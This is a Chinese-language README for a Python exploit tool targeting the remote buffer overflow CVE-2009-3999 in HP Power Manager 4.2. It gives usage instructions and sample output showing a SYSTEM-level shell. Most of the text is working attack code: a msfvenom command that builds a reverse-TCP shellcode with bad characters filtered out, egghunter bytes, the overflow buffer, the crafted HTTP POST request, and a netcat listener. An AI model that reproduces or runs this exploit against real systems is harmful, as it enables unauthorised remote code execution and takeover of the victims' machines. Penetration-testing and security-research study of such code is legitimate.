HP Power Manager 远程缓冲区溢出利用 (CVE-2009-3999)
该工具用于对 HP Power Manager 4.2 (Build 7) 中的远程缓冲区溢出漏洞(CVE-2009-3999)进行安全审计和渗透测试。它能够自动生成免坏字符的 shellcode,通过 Egghunter 技术在目标系统上执行任意代码,并建立反向 Shell 连接。
功能特性
-
自动载荷生成:集成
msfvenom,动态生成 Windows 反向 TCP Shellcode,自动过滤坏字节(\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c)。 -
Egghunter 技术:使用可靠的 Egghunter 代码(标记
b33fb33f)在内存中定位并执行 shellcode,提高漏洞触发成功率。 -
一键利用:自动发送恶意 HTTP POST 请求触发漏洞,并启动
netcat监听器等待反向连接,简化操作流程。 - Python 3 兼容:修复了 Python 2 到 Python 3 迁移中的字节串和字符串处理问题,确保载荷以原始二进制形式发送。
安装指南
系统要求
- 操作系统:Linux(推荐 Kali Linux 或 Parrot OS)
- Python 3.6 或更高版本
-
msfvenom(Metasploit 框架组件) -
netcat(nc命令)
安装步骤
-
安装 Metasploit 框架(若未安装):
sudo apt update sudo apt install metasploit-framework 下载利用脚本:
将脚本保存为CVE-2009-3999.py。-
赋予执行权限(可选):
chmod +x CVE-2009-3999.py
使用说明
基础用法
python3 CVE-2009-3999.py <目标IP> <目标端口> <本地IP> <本地端口>
-
<目标IP>:运行 HP Power Manager 服务的 IP 地址。 -
<目标端口>:Web 服务端口(通常为80)。 -
<本地IP>:攻击者用于接收反向连接的 IP 地址。 -
<本地端口>:攻击者用于监听的回调端口。
典型使用场景
场景一:直接利用并获取 Shell
假设目标主机 IP 为 192.168.147.45,Web 端口 80,攻击者 IP 为 192.168.45.183,监听端口 4444:
python3 CVE-2009-3999.py 192.168.147.45 80 192.168.45.183 4444
预期输出:
[*] Generating msfvenom payload for 192.168.45.183:4444...
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
...
Payload size: 348 bytes
Final size of python file: 1953 bytes
[+] Sending exploit to 192.168.147.45:80
[+] Exploit sent. Starting listener on 4444...
listening on [any] 4444 ...
connect to [192.168.45.183] from (UNKNOWN) [192.168.147.45] 49168
Microsoft Windows [Version 6.1.7600]
C:\Windows\system32>whoami
nt authority\system
场景二:仅生成载荷(不发送)
你可以手动修改脚本,注释发送部分,仅运行载荷生成逻辑用于调试或集成到其他工具中。
核心代码
1. 动态载荷生成器 (get_payload)
该函数调用 msfvenom 生成一个已过滤坏字节的 Windows 反向 TCP shellcode。
def get_payload(lhost, lport):
print(f"[*] Generating msfvenom payload for {lhost}:{lport}...")
bad_chars = "\\x00\\x1a\\x3a\\x26\\x3f\\x25\\x23\\x20\\x0a\\x0d\\x2f\\x2b\\x0b\\x5c"
cmd = f"msfvenom -p windows/shell_reverse_tcp LHOST={lhost} LPORT={lport} EXITFUNC=thread -b '{bad_chars}' -f python -v shellcode"
output = popen(cmd).read()
if not output:
print("[-] Error: msfvenom failed. check your LHOST/LPORT.")
exit()
loc = {}
exec(output, {}, loc)
return loc['shellcode']
2. Egghunter 与缓冲区构造
使用 b33fb33f 作为 egg 标记,将 shellcode 附着在 egg 之后,并构建包含 hunter 的溢出缓冲区。
# --- EXPLOIT DATA ---
egg = b"b33fb33f"
buf = egg + get_payload(LHOST, LPORT)
# Egghunter (x86 assembly)
hunter = b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e"
hunter += b"\x3c\x05\x5a\x74\xef\xb8\x62\x33\x33\x66\x89\xd7"
hunter += b"\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
# 构建 HTTP 请求中的恶意参数
buffer = b"\x41" * (721 - len(hunter))
buffer += b"\x90" * 30 + hunter
buffer += b"\xeb\xc2\x90\x90"
buffer += b"\xd5\x74\x41"
3. HTTP 请求封装与发送
将攻击载荷 URL 编码后嵌入 fileName 参数,发送完整的 HTTP POST 请求,并调用 nc 开启监听。
# 构造 POST 内容
content = b"dataFormat=comma&exportto=file&fileName=" + parse.quote_plus(buffer).encode('latin1')
content += b"&bMonth=03&bDay=12&bYear=2017&eMonth=03&eDay=12&eYear=2017&LogType=Application&actionType=1%253B"
payload = b"POST /goform/formExportDataLogs HTTP/1.1\r\n"
payload += b"Host: " + HOST.encode('latin1') + b"\r\n"
payload += b"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n"
payload += b"Accept: " + buf + b"\r\n"
payload += b"Referer: http://" + HOST.encode('latin1') + b"/Contents/exportLogs.asp?logType=Application\r\n"
payload += b"Content-Type: application/x-www-form-urlencoded\r\n"
payload += b"Content-Length: " + str(len(content)).encode('latin1') + b"\r\n\r\n"
payload += content
# 发送攻击数据
s = socket(AF_INET, SOCK_STREAM)
s.connect((HOST, PORT))
print(f"[+] Sending exploit to {HOST}:{PORT}")
s.send(payload)
s.close()
# 启动监听器
print(f"[+] Exploit sent. Starting listener on {LPORT}...")
system(f"sudo nc -nlvp {LPORT}")
6HFtX5dABrKlqXeO5PUv/5lZb1iany8qIN9JFMCipl1q1vQ9ftPlI9gf4x/zeG6eRA3wR6RsM3h4AbdGvF179A==